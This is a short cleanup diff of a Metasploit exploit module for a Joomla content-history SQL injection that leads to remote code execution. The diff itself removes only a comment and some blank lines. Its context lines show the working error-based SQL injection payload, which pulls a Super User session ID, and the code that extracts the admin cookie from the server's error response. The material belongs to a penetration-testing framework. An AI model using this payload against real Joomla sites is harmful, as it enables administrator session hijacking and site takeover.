Clean up module

modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb

@@ -80,8 +80,6 @@ class MetasploitModule < Msf::Exploit::Remote
     # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
     # This way we make sure that's excluded and we only get real admin sessions.
 
-    # The modified query should resolve previous issues - Michael Maturi
-
     sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id "
 
     # Retrieve cookies
@@ -121,10 +119,8 @@ class MetasploitModule < Msf::Exploit::Remote
     if res && res.code == 500 && res.body =~ /::([A-Za-z0-9]*)::/
       auth_cookie_part = $1
       print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")
-
     else
       fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")
-
     end
 
     # Retrieve cookies